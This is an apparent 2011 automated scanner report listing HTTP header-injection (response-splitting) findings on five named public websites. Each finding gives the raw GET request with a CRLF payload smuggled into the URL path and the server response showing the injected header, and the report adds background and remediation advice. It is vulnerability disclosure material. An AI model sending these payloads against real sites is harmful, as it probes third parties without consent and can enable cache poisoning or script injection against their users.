CWE-113, HTTP Header Injection, March 31, 2011 DORK Report

CWE-113: Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')

Report generated by XSS.CX at Thu Mar 31 14:07:10 CDT 2011.

Public Domain Vulnerability Information, Security Articles, Vulnerability Reports, GHDB, DORK Search

XSS Crawler | SQLi Crawler | HTTPi Crawler | FI Crawler

Loading

1. HTTP header injection

1.1. http://barnesandnoble.com/favicon.ico [REST URL parameter 1]

1.2. http://classmates.com/favicon.ico [REST URL parameter 1]

1.3. http://mtv.com/favicon.ico [REST URL parameter 1]

1.4. http://nytimes.com/favicon.ico [REST URL parameter 1]

1.5. http://people.com/favicon.ico [REST URL parameter 1]



1. HTTP header injection
There are 5 instances of this issue:

Issue background

HTTP header injection vulnerabilities arise when user-supplied data is copied into a response header in an unsafe way. If an attacker can inject newline characters into the header, then they can inject new HTTP headers and also, by injecting an empty line, break out of the headers into the message body and write arbitrary content into the application's response.

Various kinds of attack can be delivered via HTTP header injection vulnerabilities. Any attack that can be delivered via cross-site scripting can usually be delivered via header injection, because the attacker can construct a request which causes arbitrary JavaScript to appear within the response body. Further, it is sometimes possible to leverage header injection vulnerabilities to poison the cache of any proxy server via which users access the application. Here, an attacker sends a crafted request which results in a "split" response containing arbitrary content. If the proxy server can be manipulated to associate the injected response with another URL used within the application, then the attacker can perform a "stored" attack against this URL which will compromise other users who request that URL in future.

Issue remediation

If possible, applications should avoid copying user-controllable data into HTTP response headers. If this is unavoidable, then the data should be strictly validated to prevent header injection attacks. In most situations, it will be appropriate to allow only short alphanumeric strings to be copied into headers, and any other input should be rejected. At a minimum, input containing any characters with ASCII codes less than 0x20 should be rejected.


1.1. http://barnesandnoble.com/favicon.ico [REST URL parameter 1]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://barnesandnoble.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 97555%0d%0ab0ea879d6b5 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /97555%0d%0ab0ea879d6b5 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: barnesandnoble.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Error
Location: http://www.barnesandnoble.com/97555
b0ea879d6b5

Server: Microsoft-IIS/5.0
Content-Type: text/html
Content-Length: 171

<head><title>Document Moved</title></head>
<body><h1>Object Moved</h1>This document may be found <a HREF="http://www.barnesandnoble.com/97555
b0ea879d6b5">here</a></body>

1.2. http://classmates.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://classmates.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 6eda5%0d%0ae32a4fcbfc8 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /6eda5%0d%0ae32a4fcbfc8 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: classmates.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Thu, 31 Mar 2011 18:58:25 GMT
Server: Apache
Location: http://www.classmates.com/6eda5
e32a4fcbfc8

Content-Type: text/html; charset=iso-8859-1
Content-Length: 248

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>
<TITLE>301 Moved Permanently</TITLE>
</HEAD><BODY>
<H1>Moved Permanently</H1>
The document has moved <A HREF="http://www.classmates.com/
...[SNIP]...

1.3. http://mtv.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://mtv.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload 30439%0d%0a124cce508db was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /30439%0d%0a124cce508db HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: mtv.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Thu, 31 Mar 2011 18:57:26 GMT
Server: Apache/2.0.58 (Unix)
Location: http://www.mtv.com/30439
124cce508db

Content-Length: 316
Connection: close
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.mtv.com/3043
...[SNIP]...

1.4. http://nytimes.com/favicon.ico [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://nytimes.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload dfcf0%0d%0a0602074a1b9 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /dfcf0%0d%0a0602074a1b9 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: nytimes.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Server: Sun-ONE-Web-Server/6.1
Date: Thu, 31 Mar 2011 18:57:09 GMT
Content-length: 122
Content-type: text/html
Location: http://www.nytimes.com/dfcf0
0602074a1b9

nnCoection: close

<HTML><HEAD><TITLE>Moved Permanently</TITLE></HEAD>
<BODY><H1>Moved Permanently</H1>
An error has occurred.
</BODY></HTML>

1.5. http://people.com/favicon.ico [REST URL parameter 1]  previous

Summary

Severity:   High
Confidence:   Certain
Host:   http://people.com
Path:   /favicon.ico

Issue detail

The value of REST URL parameter 1 is copied into the Location response header. The payload eac6e%0d%0aed1f44f943 was submitted in the REST URL parameter 1. This caused a response containing an injected HTTP header.

Request

GET /eac6e%0d%0aed1f44f943 HTTP/1.1
User-Agent: curl/7.21.0 (amd64-pc-win32) libcurl/7.21.0 OpenSSL/0.9.8o zlib/1.2.3
Host: people.com
Accept: */*
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 301 Moved Permanently
Date: Thu, 31 Mar 2011 18:57:08 GMT
Location: http://www.people.com/eac6e
ed1f44f943

Vary: Accept-Encoding
Content-Length: 307
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.people.com/e
...[SNIP]...

Report generated by XSS.CX at Thu Mar 31 14:07:10 CDT 2011.